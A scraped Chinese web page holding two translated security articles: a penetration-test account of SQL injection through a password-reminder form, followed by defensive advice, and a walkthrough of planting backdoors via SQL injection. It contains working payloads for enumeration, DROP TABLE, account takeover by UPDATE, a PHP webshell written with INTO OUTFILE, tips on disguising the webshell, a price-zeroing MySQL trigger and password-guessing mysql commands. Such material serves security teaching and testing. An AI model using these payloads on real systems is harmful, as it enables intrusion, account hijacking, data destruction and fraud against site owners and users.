如何在sql sql注入删除表中删除数据

实例讲解SQL注入攻击
发表于 10:47|
来源伯乐在线|
作者zer0Black
摘要:“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。
【编者按】“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。本篇译文由翻译自《》。一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。
我们记录下了在多次错误的转折后经历的曲折过程,而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白,我们并没有完全被误导。
其他的SQL文章包含了更多的细节,但是这篇文章不仅展示了漏洞利用的过程,还讲述了发现漏洞的原理。
展现在我们眼前的是一个完整定制网站,我们之前没见过这个网站,也无权查看它的源代码:这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上,并且是ASP.NET架构。这就暗示我们数据库是微软的SQL
server:我们相信我们的技巧可以应用在任何web应用上,无论它使用的是哪种SQL 服务器。
登陆页有传统的用户-密码表单,但多了一个 “把我的密码邮给我”的链接;后来,这个地方被证实是整个系统陷落的关键。
当键入邮件地址时,系统假定邮件存在,就会在用户数据库里查询邮件地址,然后邮寄一些内容给这个地址。但我的邮件地址无法找到,所以它什么也不会发给我。
对于任何SQL化的表单而言,第一步测试,是输入一个带有单引号的数据:目的是看看他们是否对构造SQL的字符串进行了过滤。当把单引号作为邮件地址提交以后,我们得到了500错误(服务器错误),这意味着“有害”输入实际上是被直接用于SQL语句了。就是这了!
我猜测SQL代码可能是这样:
SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
$EMAIL 是用户从表单提交的地址,并且这段查询在字符串末端$EMAIL上提供了引号。我们不知道字段或表的确切名字,但是我们了解他们的本质,这有助于我们做正确的猜测。
当我们键入
‘ -注意这个末端的引号 – 下面是这个SQL字段的构成:
SELECT fieldlist
FROM table
WHERE field = ''';
当这段SQL开始执行,SQL解析器就会发现多余的引号然后中断执行,并给出语法错误的提示。这个错误如何清楚的表述给用户,基于应用内部的错误恢复规程,但一般来说都不会提示“邮件地址不存在”。这个错误响应成了死亡之门,它告诉别人用户输入没有被正确的处理,这就为应用破解留下了可乘之机。
这个数据呈现在WHERE的从句中,让我们以符合SQL规范的方式改变输入试试,看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下:
SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';
因为应用不会思考输入 – 仅仅构造字符串 - 我们使用单引号把WHERE从句的单一组成变成了双组成,’x'=‘x’从句是恒成立的,无论第一个从句是什么。(有一种更好的方式来确保“始终为真”,我们随后会接触到)。
但与每次只返回单一数据的“真实”查询不同,上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么,唯一的方法就是尝试,尝试,再尝试。我们得到了这个:
你的登录信息已经被邮寄到了
我们猜测这个地址是查询到的第一条记录。这个家伙真的会在这个邮箱里收到他忘记的密码,想必他会很吃惊也会引起他的警觉。
我们现在知道可以根据自己的需要来篡改查询语句了,尽管对于那些看不到的部分还不够了解,但是我们注意到了在多次尝试后得到了三条不同的响应:
“你的登录信息已经被邮寄到了邮箱”
“我们不能识别你的邮件地址”
服务器错误
前两个响应是有效的SQL,最后一个响应是无效的SQL:当猜测查询语句结构的时候,这种区别非常有用。
模式字段映射
第一步是猜测字段名:我们合理的推测了查询包含“email address”和“password”,可能也会有“US Mail address”或者“userid”或“phone
number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名,现在没有比较明显的办法可以拿到表名。
我们进行了下一步。在每次测试中,我们会用我们已知的部分加上一些特殊的构造语句。我们已经知道这个SQL的执行结果是email地址的比对,因此我们来猜测email的字段名:
SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';
目的是假定的查询语句的字段名(email),来试试SQL是不是有效。我不关心匹配的邮件地址是啥(我们用了个伪名’x’),’
——’这个符号表示SQL注释的起始。对于去除应用末尾提供的引号,这是一个很有效的方式,我们不用在乎我们屏蔽掉的是啥。
如果我们得到了服务器错误,意味着SQL有不恰当的地方,并且语法错误会被抛出:更有可能是字段名有错。如果我们得到了任何有效的响应,我们就可以猜测这个字段名是正确的。这就是我们得到“email
unknown”或“password was sent”响应的过程。
我们也可以用AND连接词代替OR:这是有意义的。在SQL的模式映射阶段,我们不需要为猜一个特定的邮件地址而烦恼,我们也不想应用随机的泛滥的给用户发“这是你的密码”的邮件
- 这不太好,有可能引起怀疑。而使用AND连接邮件地址,就会变的无效,我们就可以确保查询语句总是返回0行,永远不会生成密码提醒邮件。
提交上面的片段的确给了我们“邮件地址未知”的响应,现在我们知道邮件地址的确是存储在email字段名里。如果没有生效,我们可以尝试email_address或mail这样的字段名。这个过程需要相当多的猜测。
接下来,我们猜测其他显而易见的名字:password,user ID, name等等。每次只猜一个字段,只要响应不是“server failure”,那就意味着我们猜对了。
SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --';
在这个过程中,我们找到了几个正确的字段名:
无疑还有更多(有一个线索是表单中的字段名),一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名,它们在哪找到的?
寻找数据库表名
应用的内建查询指令已经建立了表名,但是我们不知道是啥:有几个方法可以找到表名。其中一个是依靠subselect(字查询)。
一个独立的查询
SELECT COUNT(*) FROM tabname
返回表里记录的数量,如果表名无效,查询就会失败。我们可以建立自己的字符串来探测表名:
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
我们不关心到底有多少条记录,只关心表名是不是正确。重复多次猜测以后,我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么?所以我们需要另一个测试,使用table.field:实际查询的部分只工作在这个表中,而不是只要表存在就执行。
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'
AND members.email IS NULL; --';
当返回“Email unknown”时,就意味着我们的SQL注入成功了,并且我们正确的猜测出了表名。这对后面的工作很重要,但是我们暂时先试试其他的方法。
找用户账号
我们对members表的结构有了一个局部的概念,但是我们仅知道一个用户名:任意用户都可能得到“Here is your password”的邮件。回想起来,我们从未得到过信息本身,只有它发送的地址。我们得再弄几个用户名,这样就能得到更多的数据。
首先,我们从公司网站开始找几个人:“About us”或者“Contact”页通常提供了公司成员列表。通常都包含邮件地址,即使它们没有提供这个列表也没关系,我们可以根据某些线索用我们的工具找到它们。
LIKE从句可以进行用户查询,允许我们在数据库里局部匹配用户名或邮件地址,每次提交如果显示“We sent your password”的信息并且邮件也真发了,就证明生效了。
警告:这么做拿到了邮件地址,但也真的发了邮件给对方,这有可能引起怀疑,小心使用。
我们可以查询email name或者full name(或者推测出来的其他信息),每次放入%通配符进行如下查询:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';
记住尽管可能不只有一个“Bob”,但我们只能看到一条信息:建议精炼LIKE从句。
密码暴力破解
可以肯定的是,我们能在登陆页进行密码的暴力破解,但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志,帐号锁定,或者其他能阻碍我们行动的方式,但是因为存在未过滤的输入,我们就能绕过更多的保护措施。
我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中,我们用了受害者 并尝试了多组密码。
SELECT email, passwd, login_id, full_name FROM members WHERE email = '&a
href="mailto:"&&/a&' AND passwd
= 'hello123';
这是一条很好使的SQL语句,我们不会得到服务器错误的提示,只要我们得到“your password has been mailed to you”的提示信息,就证明我们已经得到密码了。这时候受害人可能会警觉起来,但谁关心他呢,我们已经得到密码了。
这个过程可以使用perl脚本自动完成,然而,我们在写脚本的过程中,发现了另一种方法来破解系统。
数据库不是只读的
迄今为止,我们没做查询数据库之外的事,尽管SELECT是只读的,但不代表SQL只能这样。SQL使用分号表示结束,如果输入没有正确过滤,就没有什么能阻止我们在字符串后构造与查询无关的指令。
The most drastic example is:
这剂猛药是这样的:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE --';
第一部分我们准备了一个伪造的email地址——‘X’——我们不关心查询结果返回什么:我们想要得到的只是我们自己构造的SQL指令。这次攻击删除了整个members表,这就不太好玩了。
这表明我们不仅仅可以切分SQL指令,而且也可以修改数据库。这是被允许的。
添加新用户
我们已经了解了members表的局部结构,添加一条新纪录到表里视乎是一个可行的方法:如果这成功了,我们就能简单的用我们新插入的身份登陆到系统了。
不要太惊讶,这条SQL有点长,我们把它分行显示以便于理解,但它依然是一条语句:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('','hello','steve','Steve Friedl');--';
即使我们得到了正确的字段名和表名,但在成功攻击之前我们还有几件事需要了解:
在web表单里,我们可能没有足够的空间键入这么多文本(尽管可以用脚本解决,但并不容易)。
web应用可能没有members表的INSERT权限。
母庸置疑,members表里肯定还有其他字段,有一些可能需要初始值,否则会引起INSERT失败。
即使我们插入了一条新纪录,应用也可能不正常运行,因为我们无法提供值的字段名会自动插入NULL。
一个正确的“member”可能额不仅仅只需要members表里的一条纪录,而还要结合其他表的信息(如,访问权限),因此只添加一个表可能不够。
在这个案例里,我们遇到了问题#4或#5,我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候,返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的,但我们没有办法正确处理。
一个可行的办法是猜测其他字段,但这是一个劳力费神的过程:尽管我们可以猜测其他“显而易见”的字段,但要想得到整个应用的组织结构图太难了。
我们最后尝试了其他方式。
把密码邮给我
我们意识到虽然我们无法添加新纪录到members数据库里,但我们可以修改已经存在的,这被证明是可行的。
从上一步得知
账户在这个系统里,我们用SQL注入把数据库中的这条记录改成我们自己的email地址:
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';
UPDATE members SET email = &a href="mailto:'"&'&/a&'
WHERE email = &a href="mailto:'"&'&/a&';
运行之后,我们自然得到了“we didn’t know your email address”的提示,但这在预料之中,毕竟我们用了假的email地址。UPDATE操作不会通知应用,因此它悄然执行了。
之后,我们使用了“I lost my password”的功能,用我们刚刚更新的email地址,一分钟后,我们收到了这封邮件:
From: &a href="mailto:"&&/a&
To: &a href="mailto:"&&/a&
Subject: Intranet login This email is in response to your request for your
Intranet log in information. Your User ID is: bob Your password is: hello
现在,我们要做的就是跟随标准的登录流程进入系统,这是一个高等级职员,有高级权限,比我们INSERT的用户要好。
我们发现这个企业内部站点内容特别多,甚至包含了一个全用户列表,我们可以合理的推出许多内网都有同样的企业Windows网络帐号,它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码,并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口,这让登录测试变得更简单。
我们又挑了几个帐号测试都没有成功,我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。
在这次特定的渗透中,我们得到了足够的权限,我们不需要更多了,但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。
我们意识到不是所有的方法都与数据库无关,我们可以来试试。
调用xp_cmdshell
微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用,那webserver被渗透是无法避免的。
迄今为止,我们做的都被限制在了web应用和数据库这个环境下,但是如果我们能执行任何操作系统指令,再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用,但它也可能授权给了更低级的用户。
绘制数据库结构
在这个登录后提供了丰富功能应用上,已经没必要做更深的挖掘了,但在其他限制更多的环境下可能还不够。
能够系统的绘制出数据库可见结构,包含表和它们的字段结构,可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。
从网站的其他方面收集更多有关数据结构的信息(例如,“留言板”页?“帮助论坛”等?)。不过这对应用环境依赖强,而且还得靠你准确的猜测。
我们认为web应用开发者通常没考虑到“有害输入”,但安全人员应该考虑到(包括坏家伙),因此这有3条方法可以使用。
过滤输入是非常重要的事,以确保输入不包含危险代码,无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”,像引号、分号或转义符号,但这是一种不太好的方式。尽管找到一些危险字符很容易,但要把他们全找出来就难了。
web语言本身就充满了特殊字符和奇怪的标记(包括那些表达同样字符的替代字符),所以想要努力识别出所有的“恶意字符”不太可能成功。
换言之,与其“移除已知的恶意数据”,不如移除“良好数据之外的所有数据”:这种区别是很重要的。在我们的例子中,邮件地址仅能包含如下字符:
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
允许不正确的字符输入是没有任何好处的,应该早点拒绝它们 - 可能会有一些错误信息 – 不仅可以阻止SQL注入,也可以捕获一些输入错误而不是把它们存入数据库。
某个特殊的email地址会让验证程序陷入麻烦,因为每个人对于“有效”的定义不同。由于email地址中出现了一个你没有考虑到的字符而被拒绝,那真是糗大了。
真正的权威是
(比RFC822内容还多),它对于”允许使用的内容“做了一个规范的定义。这种更学术的规范希望可以接受&和*(还有更多)作为有效的email地址,但其它人
- 包括作者 – 都乐于用一个合理的子集来包含更多的email地址。
那些采用更限制方法的人应当充分意识到没有包含这些地址会带来的后果,特别是限制有了更好的技术(预编译/执行,存储过程)来避免这些“奇怪”的字符带来的安全问题。
意识到“过滤输入”并不意味着仅仅是“移除引号”,因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中,一个整型ID值被拿来和用户的输入作比较(数字型PIN):
SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!
在实践中,无论如何这个方法都有诸多限制,因为能够彻底排除所有危险字符的字段实在太少了。对于“日期”或者“email地址”或者“整型”,上面的办法是有价值的,但对于真实的环境,我们不可避免地要使用其他方式来减轻危害。
输入项编码/转义
现在可以过滤电话号码和邮件地址了,但你不能通过同样的方法处理“name”字段,要不然可能会排除掉Bill O’Reilly这样的名字:对于这个字段,这里的引号是合法的输入。
有人就想到过滤到单引号的时候,再加上一个引号,这样就没问题了 – 但是这么干要出事啊!
预处理每个字符串来替换单引号:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly';
-- works OK
这个方法很容易出问题,因为大部分数据库都支持转码机制。像MySQL,允许输入’来替代单引号,因此如果输入 ‘;
DROP TABLE —
时,通过两次引号来“保护”数据库,那我们将得到:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE --';
是一个完整的SQL语句(只包含一个引号),通常,恶意SQL代码就会紧跟其后。不光是反斜线符号的情况:像Unicode编码,其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的,这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string
quoting”和“string parsing”处理过后,会好一些,也更安全一些。
比如MySQL的函数mysql_real_escape_string()和perl DBD 的 $dbh-&quote($value)方法,这些方法都是必用的。
参数绑定 (预编译语句)
尽管转义是一个有用的机制,但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是:预编译,本质上所有的数据库编程接口都支持预编译。技术上来说,SQL声明语句是用问号给每个参数占位创建的
– 然后在内部表中进行编译。
预编译查询执行时是按照参数列表来的:
Perl中的例子
$sth = $dbh-&prepare("SELECT email, userid FROM members WHERE email = ?;");
$sth-&execute($email);
感谢Stefan Wagner帮我写了个java实现:
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
+ formField); // *boom*
PreparedStatement ps = connection.prepareStatement(
"SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
$email 是从用户表单获得的,它作为#1(第一个问号标记的地方)位置的参数传递过来,在任何情况下这条SQL声明都可以解析。引号,分号,反斜杠,SQL指令记号
– 任何字符都不会产生特殊效果,因为它们“只是数据”而已。这不会对其他东西造成破坏,因此这个应用很大程度上防范了SQL注入攻击。
如果预编译查询语句多次(只编译一次)执行,也会带来性能上的提升,但是与大量安全方面的巨大提升相比,这显得微不足道。这可能是我们保证web应用安全最重要的一步。
限制数据库权限和隔离用户
在这个案例中,我们观察到只有两个交互动作不在登录用户的上下文环境中:“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制:对于members表只能读,并且无法操作其他表。
作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢,我们将不能做有授权的UPDATE请求,我们要求助于其他方法。
一旦web应用确定登录表单传递来的认证是有效的,它就会切换会话到一个有更多权限的用户上。
对任何web应用而言,不使用sa权限几乎是根本不用说的事。
对数据库的访问采用存储过程
如果数据库支持存储过程,请使用存储过程来执行数据库的访问行为,这样就不需要SQL了(假设存储过程编程正确)。
把查询,更新,删除等动作规则封装成一个单独的过程,就可以针对基础规则和所执行的商业规则来完成测试和归档(例如,如果客户超过了信用卡限额,“添加新记录”过程可能拒绝订单)。
对于简单的查询这样做可能仅仅能获得很少的好处,不过一旦操作变复杂(或者被用在更多地方),给操作一个单独的定义,功能将会变得更稳健也更容易维护。
注意:动态构建一个查询的存储过程是可以做到的:这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起,或者是把SQL语句和提供保护的变量绑定到了一起。
隔离Web服务器
实施了以上所有的防御措施,仍然可能有某些地方有遗漏,导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施,然后把它的攻击对其他事情产生的影响限制在最小。
例如,把这台机器放置在极度限制出入的DMZ网络“内部”,这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然,这么做不能阻止所有的入侵,不过它可以使入侵变的非常困难。
配置错误报告
一些框架的错误报告包含了开发的bug信息,这不应该公开给用户。想象一下:如果完整的查询被现实出来了,并且指出了语法错误点,那要攻击该有多容易。
对于开发者来说这些信息是有用的,但是它应该禁止公开 – 如果可能 - 应该限制在内部用户访问。
注意:不是所有的数据库都采用同样的方式配置,并且不是所有的数据库都支持同样的SQL语法(“S”代表“结构化”,不是“标准的”)。例如,大多数版本的MySQL都不支持子查询,而且通常也不允许单行多条语句(multiple
statements):当你渗透网络时,实际上这些就是使问题复杂化的因素。
再强调一下,尽管我们选择了“忘记密码”链接来试试攻击,但不是因为这个功能不安全。而是几个易攻击的点之一,不要把焦点聚集在“忘记密码”上。
这个教学示例不准备全面覆盖SQL注入的内容,甚至都不是一个教程:它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论,但它们只给出了结果而没有给出过程。
但是那些结果报告需要技术背景才能看懂,并且渗透细节也是有价值的。在没有源代码的情况下,渗透人员的黑盒测试能力也是有价值的。
对本文的贡献,还有
的排版((C) 2005 by Chris Mospaw, used with permission).
, Chris Anley, Next Generation Security
, SecuriTeam
, an open-source database firewall that tries to protect against
SQL injection errors — I don’t have any direct experience with this tool
— Very good xkcd cartoon about SQL injection
— by Ferruh Mavituna
by Bohdan Zograf (thanks!)
本文来自:
推荐阅读相关主题:
CSDN官方微信
扫描二维码,向CSDN吐槽
微信号:CSDNnews
相关热门文章如何利用SQL注入制造一个后门 -
| 关注黑客与极客
如何利用SQL注入制造一个后门
共266829人围观
,发现 3 个不明物体
0×01,介绍…
0×02,什么是Sql Injection..
0×03,一个系统后门(OS)Backdoor.
0×04,获得一个OS Shell
0×05,一个数据库后门(Database backdoor).
0×07,推荐的防御措施…
0×08,结论…
0×09,参考…
0×01,介绍
如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒,或者是它一种特洛伊木马或者蠕虫,这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染,那么当你使被感染的计算机连接到互联网,它很可能会去感染其他的计算机。许多时候,恶意软件不仅仅只是从一台计算机传播到另一台,他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上,这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。
0×02,什么是Sql Injection
已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁,所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识,这里有一个介绍性文章的可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。
0×03,一个系统后门(OS)Backdoor
这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制操作系统。为了运行系统命令,我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。
0×04,获得一个OS Shell
现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制操作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示,语句Harry Potter’ union select 1,2,3,4#将会出现错误:
现在,我们想插入可以执行系统命令的PHP代码。为了实现这个目的,我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图:
现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制操作系统。我们使用这样的语句: Harry Potter’ union select “&?system($_REQUEST['cmd']); ?&”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:
就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:
‘ union select “&? system($_REQUEST['cmd']); ?&”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。
尽管这回还是返回了2和3,但是好多了。
现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。
成功了。通过我多次的尝试,这里有几点需要注意的事情。
–运行这条语句的数据库用户需要拥有FILE权限,否则不能执行INTO OUTFILE命令。
–在MySQL服务运行的主机中必须存在一个可写的Web目录,否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp,但是你没有权限访问它。
一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章,你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。
下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。
运行一个命令来检查我们是否已经获得了一个Shell。OK,没问题。
这实在是太容易了。
不幸的是,从‘破坏者’的角度来看这也同样是简单的。
现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一
个WebShell时,请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。
在开始下一类Backdoor之前,我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。
然后当SQLMap将实际的WebShell上传到可写目录的时候,brupSuite会拦截到一些请求,让我们看一下这些请求。
我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令,和我们之前人工使用的方法是一样的。
最后,我们看一下SQLMap上传WebShell的内容,非常有意思,看一下底部的面板。
这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。
0×05,一个数据库后门(Database backdoor)
现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下backdoor function的相关知识。在OS backdoor中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的操作执行时,我们配置的后门会改变数据库中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成0,以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。
所以我们在数据库中有一些叫做“触发器”的东西,基本的意思就是——“当某些我们希望发生的事情发生时,触动触发器去做另外一些事情”。这描述的确实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子弹对么?那么把他转换为我们之前的场景——有一个INSERT语句(杀手),一个Database trigger(枪手)开火了,那么动作(action)就是释放你之前已经配置(configured)好的子弹(bullet)。
下面使我们要写的一个MySQL触发器的例子:
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price=*;
b)无论任何时候如果我们执行一个Insert语句,比如假如一本书,那么我们设置其价格为0.下面是它的意思:
a)设置默认的MySQL分隔符为’#',因为默认的分隔符是’;'在MySQL作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为’#',表示’#'现在有一个特殊的含义。
c)终止触发器并将分隔符重置为’;'。
然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句:
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0xa4feb730a666fa772eda656e643b230ab#
我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’;这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder,不要坐在那儿浪费时间去手工转化它)。
让我们运行一下看看会在文件/var/www/test/g2中出现什么。
你注意到了最开始的几个空格了么?这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。
现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。
a)多语句查询(Stacked Queries)—Harry Potter’ UNIONsource /var/www/test/g2但是这事实上不会成功执行,因为PHP+MySQL不支持多语句查询。
b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过,不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。
c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。
我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。
看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项a,c意味着同一种情况。让我们通过代理来查看SQLMap的请求。
让我们在Sql-shell中执行一个简单的创建新数据库的语句—””并在Brup中查看。
我们可以看到,SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。
我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:
—猜解一个有效MySQL用户的密码。例如,你猜到root的密码是test123
—注入一个OS webshell后门。
—注入一个类似之前格式的触发器。
—现在通过在Webshell中运行MySQL命令来安装触发器。
我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。
假设我们已经猜解到了用户名和密码root和toor(通过Blind SQL暴力猜解mysql.user表)。现在我们反问Web shell并传递一个命令:
mysql -u&USERNAME& -p&PASSWORD& &DB NAME& & /var/www/test/g2
现在我们再来看一下数据库。
看到了我们的触发器。
现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。
现在执行查询:
看最后一行。某些人可以不用支付他本认为应该支付的价格了。
现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个INSERT查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。
明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。
—想一些常用的数据库用户名(比如MySQL的root)或者通过社会工程学获得一些。
—MySQL密码是通过哈希加密的,并不是明文。
你可以通过以下两种方式破解密码:
—通过SQL Injection将密码的Hash与密码明文列表对比。(参考我之前的文章)
—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。
mysql -uroot -ptoor blindsql_test& /var/www/test/g2
mysql -uroot -proot blindsql_test& /var/www/test/g2
mysql -uroot -ptest blindsql_test& /var/www/test/g2
mysql -uroot -ppassword blindsql_test& /var/www/test/g2
0×07,推荐的防御措施
a)使用参数化查询来防御SQL注入攻击。
b)不要在Web目录中存在大量可写目录。
c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配FILE权限。
d)设置复杂的数据库密码和健壮的密码策略。
0×08,结论
这个问题的根源,是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。
0×09,参考
High level overview:
Blind SQL Injection:
Select into a file:
Burp Decoder:
Execute SQL commands from a text file:
Create a new user:
Automate web requests with Perl:
Author:Arvind 译:[FreeBuf]Pnig0s
必须您当前尚未登录。
必须(保密)
FreeBuf技术处书记
分享每日精选文章

我要回帖

更多关于 sql注入删除表 的文章

 

随机推荐